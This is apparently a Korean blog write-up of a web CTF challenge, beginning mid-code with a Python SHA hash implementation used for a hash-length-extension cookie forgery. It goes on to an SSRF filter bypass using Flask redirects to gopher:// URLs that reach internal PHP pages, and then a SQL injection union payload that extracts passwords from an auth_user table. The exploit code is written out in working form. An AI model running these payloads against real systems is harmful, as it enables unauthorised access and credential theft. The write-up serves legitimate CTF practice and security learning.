'''Return append value for hash extension attack'''
originalHashLength = bin((secretLength+len(knownData)) * 8)[2:].rjust(self._blockSize, "0")
padData = ''.join(bin(ord(i))[2:].rjust(8, "0") for i in knownData) + "1"
padData += "0" * (((self._blockSize*7) - (len(padData)+(secretLength*8)) % self._b2) % self._b2) + originalHashLength
if not raw:
return ''.join([ self.__byter(int(padData[a:a+8],base=2)) for a in range(0,len(padData),8) ]) + appendData
else:
return self.__binToByte(padData) + appendData
def __hashBinaryPad(self, message, length):
'''Pads the final blockSize block with \x80, zeros, and the length, converts to binary'''
message = ''.join(bin(ord(i))[2:].rjust(8, "0") for i in message) + "1"
message += "0" * (((self._blockSize*7) - len(message) % self._b2) % self._b2) + length
return message
class SHA1 (Hash):
_h0, _h1, _h2, _h3, _h4, = (
0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476, 0xc3d2e1f0)
_blockSize = 64
def _transform(self, chunk):
lrot = lambda x, n: (x << n) | (x >> (32 - n))
w = []
for j in range(len(chunk) // 32):
w.append(int(chunk[j * 32:j * 32 + 32], 2))
for i in range(16, 80):
w.append(lrot(w[i - 3] ^ w[i - 8] ^ w[i - 14] ^ w[i - 16], 1)
& 0xffffffff)
a = self._h0
b = self._h1
c = self._h2
d = self._h3
e = self._h4
for i in range(80):
if i <= i <= 19:
f, k = d ^ (b & (c ^ d)), 0x5a827999
elif 20 <= i <= 39:
f, k = b ^ c ^ d, 0x6ed9eba1
elif 40 <= i <= 59:
f, k = (b & c) | (d & (b | c)), 0x8f1bbcdc
elif 60 <= i <= 79:
f, k = b ^ c ^ d, 0xca62c1d6
temp = lrot(a, 5) + f + e + k + w[i] & 0xffffffff
a, b, c, d, e = temp, a, lrot(b, 30), c, d
self._h0 = (self._h0 + a) & 0xffffffff
self._h1 = (self._h1 + b) & 0xffffffff
self._h2 = (self._h2 + c) & 0xffffffff
self._h3 = (self._h3 + d) & 0xffffffff
self._h4 = (self._h4 + e) & 0xffffffff
class SHA256 (Hash):
_h0, _h1, _h2, _h3, _h4, _h5, _h6, _h7 = (
0x6a09e667, 0xbb67ae85, 0x3c6ef372, 0xa54ff53a,
0x510e527f, 0x9b05688c, 0x1f83d9ab, 0x5be0cd19)
_blockSize = 64
def _transform(self, chunk):
rrot = lambda x, n: (x >> n) | (x << (32 - n))
w = []
k = [
0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5,
0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5,
0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3,
0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174,
0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc,
0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da,
0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7,
0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967,
0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13,
0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85,
0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3,
0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070,
0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5,
0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3,
0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208,
0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2]
for j in range(len(chunk) // 32):
w.append(int(chunk[j * 32:j * 32 + 32], 2))
for i in range(16, 64):
s0 = rrot(w[i - 15], 7) ^ rrot(w[i - 15], 18) ^ (w[i - 15] >> 3)
s1 = rrot(w[i - 2], 17) ^ rrot(w[i - 2], 19) ^ (w[i - 2] >> 10)
w.append((w[i - 16] + s0 + w[i - 7] + s1) & 0xffffffff)
a = self._h0
b = self._h1
c = self._h2
d = self._h3
e = self._h4
f = self._h5
g = self._h6
h = self._h7
for i in range(64):
s0 = rrot(a, 2) ^ rrot(a, 13) ^ rrot(a, 22)
maj = (a & b) ^ (a & c) ^ (b & c)
t2 = s0 + maj
s1 = rrot(e, 6) ^ rrot(e, 11) ^ rrot(e, 25)
ch = (e & f) ^ ((~ e) & g)
t1 = h + s1 + ch + k[i] + w[i]
h = g
g = f
f = e
e = (d + t1) & 0xffffffff
d = c
c = b
b = a
a = (t1 + t2) & 0xffffffff
self._h0 = (self._h0 + a) & 0xffffffff
self._h1 = (self._h1 + b) & 0xffffffff
self._h2 = (self._h2 + c) & 0xffffffff
self._h3 = (self._h3 + d) & 0xffffffff
self._h4 = (self._h4 + e) & 0xffffffff
self._h5 = (self._h5 + f) & 0xffffffff
self._h6 = (self._h6 + g) & 0xffffffff
self._h7 = (self._h7 + h) & 0xffffffff
class SHA512 (Hash):
_h0, _h1, _h2, _h3, _h4, _h5, _h6, _h7 = (
0x6a09e667f3bcc908, 0xbb67ae8584caa73b, 0x3c6ef372fe94f82b,
0xa54ff53a5f1d36f1, 0x510e527fade682d1, 0x9b05688c2b3e6c1f,
0x1f83d9abfb41bd6b, 0x5be0cd19137e2179)
_blockSize = 128
def _transform(self, chunk):
rrot = lambda x, n: (x >> n) | (x << (64 - n))
w = []
k = [
0x428a2f98d728ae22, 0x7137449123ef65cd,
0xb5c0fbcfec4d3b2f, 0xe9b5dba58189dbbc,
0x3956c25bf348b538, 0x59f111f1b605d019,
0x923f82a4af194f9b, 0xab1c5ed5da6d8118,
0xd807aa98a3030242, 0x12835b0145706fbe,
0x243185be4ee4b28c, 0x550c7dc3d5ffb4e2,
0x72be5d74f27b896f, 0x80deb1fe3b1696b1,
0x9bdc06a725c71235, 0xc19bf174cf692694,
0xe49b69c19ef14ad2, 0xefbe4786384f25e3,
0x0fc19dc68b8cd5b5, 0x240ca1cc77ac9c65,
0x2de92c6f592b0275, 0x4a7484aa6ea6e483,
0x5cb0a9dcbd41fbd4, 0x76f988da831153b5,
0x983e5152ee66dfab, 0xa831c66d2db43210,
0xb00327c898fb213f, 0xbf597fc7beef0ee4,
0xc6e00bf33da88fc2, 0xd5a79147930aa725,
0x06ca6351e003826f, 0x142929670a0e6e70,
0x27b70a8546d22ffc, 0x2e1b21385c26c926,
0x4d2c6dfc5ac42aed, 0x53380d139d95b3df,
0x650a73548baf63de, 0x766a0abb3c77b2a8,
0x81c2c92e47edaee6, 0x92722c851482353b,
0xa2bfe8a14cf10364, 0xa81a664bbc423001,
0xc24b8b70d0f89791, 0xc76c51a30654be30,
0xd192e819d6ef5218, 0xd69906245565a910,
0xf40e35855771202a, 0x106aa07032bbd1b8,
0x19a4c116b8d2d0c8, 0x1e376c085141ab53,
0x2748774cdf8eeb99, 0x34b0bcb5e19b48a8,
0x391c0cb3c5c95a63, 0x4ed8aa4ae3418acb,
0x5b9cca4f7763e373, 0x682e6ff3d6b2b8a3,
0x748f82ee5defb2fc, 0x78a5636f43172f60,
0x84c87814a1f0ab72, 0x8cc702081a6439ec,
0x90befffa23631e28, 0xa4506cebde82bde9,
0xbef9a3f7b2c67915, 0xc67178f2e372532b,
0xca273eceea26619c, 0xd186b8c721c0c207,
0xeada7dd6cde0eb1e, 0xf57d4f7fee6ed178,
0x06f067aa72176fba, 0x0a637dc5a2c898a6,
0x113f9804bef90dae, 0x1b710b35131c471b,
0x28db77f523047d84, 0x32caab7b40c72493,
0x3c9ebe0a15c9bebc, 0x431d67c49c100d4c,
0x4cc5d4becb3e42b6, 0x597f299cfc657e2a,
0x5fcb6fab3ad6faec, 0x6c44198c4a475817]
for j in range(len(chunk) // 64):
w.append(int(chunk[j * 64:j * 64 + 64], 2))
for i in range(16, 80):
s0 = rrot(w[i - 15], 1) ^ rrot(w[i - 15], 8) ^ (w[i - 15] >> 7)
s1 = rrot(w[i - 2], 19) ^ rrot(w[i - 2], 61) ^ (w[i - 2] >> 6)
w.append((w[i - 16] + s0 + w[i - 7] + s1) & 0xffffffffffffffff)
a = self._h0
b = self._h1
c = self._h2
d = self._h3
e = self._h4
f = self._h5
g = self._h6
h = self._h7
for i in range(80):
s0 = rrot(a, 28) ^ rrot(a, 34) ^ rrot(a, 39)
maj = (a & b) ^ (a & c) ^ (b & c)
t2 = s0 + maj
s1 = rrot(e, 14) ^ rrot(e, 18) ^ rrot(e, 41)
ch = (e & f) ^ ((~ e) & g)
t1 = h + s1 + ch + k[i] + w[i]
h = g
g = f
f = e
e = (d + t1) & 0xffffffffffffffff
d = c
c = b
b = a
a = (t1 + t2) & 0xffffffffffffffff
self._h0 = (self._h0 + a) & 0xffffffffffffffff
self._h1 = (self._h1 + b) & 0xffffffffffffffff
self._h2 = (self._h2 + c) & 0xffffffffffffffff
self._h3 = (self._h3 + d) & 0xffffffffffffffff
self._h4 = (self._h4 + e) & 0xffffffffffffffff
self._h5 = (self._h5 + f) & 0xffffffffffffffff
self._h6 = (self._h6 + g) & 0xffffffffffffffff
self._h7 = (self._h7 + h) & 0xffffffffffffffff
def new(algorithm):
obj = {
'sha1': SHA1,
'sha256': SHA256,
'sha512': SHA512,
}[algorithm]()
return obj
def sha1():
''' Returns a new sha1 hash object '''
return new('sha1')
def sha256():
''' Returns a new sha256 hash object '''
return new('sha256', )
def sha512():
''' Returns a new sha512 hash object '''
return new('sha512', )
__all__ = ('sha1', 'sha256', 'sha512')
sha=new('sha256')
print(sha.extend('admin','guest',20,'006b0cce2f475fcaa042c6c0241713d2f9cd5a368c153da4c102be2585736c71'))
print(sha.hexdigest())
마지막 3줄만 보면된다.
콘솔창에 나온 첫번째줄은 USERcookie에
두번째 줄은 X-TOKEN cookie에 넣은 후
burp를 통해 헤더값을 추가해서 X_HTTP_HOST_OVERRIDE: 127.0.0.1을 입력해주면 정상적으로 작동이된다.
curl google이 된모습
이제 SSRF를 이용해 내부에 접근하려하지만
function valid_url($url)
{
$valid = False;
$res=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);
if (!$res) $valid = True;
try{ parse_url($url); }
catch(Exception $e){ $valid = True;}
$int_ip=ip2long(gethostbyname(parse_url($url)['host']));
return $valid
|| ip2long('127.0.0.0') >> 24 == $int_ip >> 24
|| ip2long('10.0.0.0') >> 24 == $int_ip >> 24
|| ip2long('172.16.0.0') >> 20 == $int_ip >> 20
|| ip2long('192.168.0.0') >> 16 == $int_ip >> 16
|| ip2long('0.0.0.0') >> 24 == $int_ip >> 24;
}
다음과같이 CURL을 통해 접근하려는 URL의 IP주소가 127로시작하거나 10으로시작하거나 172.16으로시작하거나 192.168로시작하거나 0.으로 시작하면 필터링에 걸리게된다.
우회하는 부분은
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, True);
curl_setopt($ch, CURLOPT_MAXREDIRS, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
$data = curl_exec($ch);
으로 추가된 옵션들을 보면
- CURLOPT_FOLLOWLOCATION : TRUE로 설정 시 HTTP 헤더로 보내는 LOCATION헤더의 내용을 따른다.
- CURLOPT_HEADER : TRUE로 설정 시 헤더의 내용을 출력
- CURLOPT_NOBODY : TRUE로 설정 시 본문의 내용을 받지 않는다.
- CURLOPT_ POST : 전송 메서드 설정 (1-POST / 2-GET)
- CURLOPT_RETURNTRANSFER : TRUE로 설정 시 curl_exec()의 반환 값을 문자열로 반환
- CURLOPT_PORT : 연결 포트 설정
- CURLOPT_TIMEOUT : 반환 값에 대한 타임아웃 설정
- CURLOPT_POSTFIELDS : 'POST'로 보내는 데이터 정의
- CURLOPT_REFERER : HTTP 요청에 사용되는 REFERER헤더의 내용
- CURLOPT_URL : 접속할 URL 주소 설정
- CURLOPT_USERAGENT : HTTP 요청에 사용되는 User-Agent헤더의 내용
여기서 CURLOPT_FOLLOWLOCATION 라는 옵션은 response header에 3XX 상태코드가 뜰경우 LOCATION헤더의 값으로 이동하므로 우회가 가능하다.
이때 Gopher 프로토콜을 이용하게 되는데
---------------------------------------------------------------------------
Gopher(고퍼)는 가서(Go) 가져온다(Fer)으로 가서 퍼온다라는 의미를 가지고 있다.
이 Gopher(고퍼)는 웹이 개발되기 전 FTP, Telnet과 같은 다양한 인터넷 서비스를 이용할 수 있게 됐습니다.
하지만 HTTP가 개발되면서 대부분의 사용자들은 HTTP로 이용하게 되면서 Gopher은 현재 잘 쓰지 않는 프로토콜이라고 알려져있고 HTTP 요청, MySQL 연결, FTP 등 다양한 기능을 사용할 수 있습니다.
--------------------------------------------------------------------------
from flask import Flask, redirect
import base64
app = Flask(__name__)
@app.route('/chall_1')
def chall_1():
# challenge 1
# request /internal_e0134cd5a917.php
return redirect('gopher://localhost:80/_GET%20/internal_e0134cd5a917.php%20HTTP/1.0%0d%0a', code=301)
if __name__ == "__main__":
app.run(debug=True, host="0.0.0.0", port=8080)
다음처럼 내서버를 파서 redirect로 301이나 302에러를 일으킨 후 gopher프로토콜을 통해 문제의 서버파일로 이동하면 우회가 된다.(gopher payload를 생성해주는 툴이 있으니 쓰면좋다.)
우회를 하게되면 소스코드가 보이게 되고 두번째 파일주소를 알려준다.
위의 방법과 똑같이 진행
@app.route("/chall_2")
def chall_2():
# challenge 2
# add Authorization header
return redirect("gopher://localhost:80/_GET%20/internal_1d607d2c193b.php%20HTTP/1.0%0d%0aAuthorization:%20Basic%20YWxhZGRpbjpvcGVuc2VzYW1l%0d%0a", code=301)
하게되면 sqli문제가 나오고
@app.route("/chall_2_1")
def chall_2_1():
# challenge 2-1
# add POST body data
# authentication = "admin:admin' union select 1,database(),3-- -"
# authentication = "admin:admin' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='auth_user'),3-- -"
authentication = "admin:admin' union select 1,group_concat(password),3 from auth_user limit 1-- -"
authentication = base64.b64encode(authentication.encode('ascii')).decode()
post_body_data = "1"
content_type_length = len(post_body_data)
return redirect(f"gopher://localhost:80/_POST%20/internal_1d607d2c193b.php%20HTTP/1.0%0d%0aAuthorization:%20Basic%20{authentication}%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%20{content_type_length}%0d%0a%0d%0a{post_body_data}", code=301)
다음처럼 하게되면 플래그를 얻게 된다.
서버를 파서 해보고싶지만 다차단이 되어있기에 집에가서 해봐야겠다.
'웹' 카테고리의 다른 글
Spring 삽질 (0) | 2022.06.28 |
---|---|
SSTI 문서 (0) | 2022.06.23 |
node-redis Bug case (1) | 2022.06.20 |
mysql error based injection 잘 되어 있는 곳 (2) | 2022.06.14 |
한글 blind sqlinjection (0) | 2022.06.13 |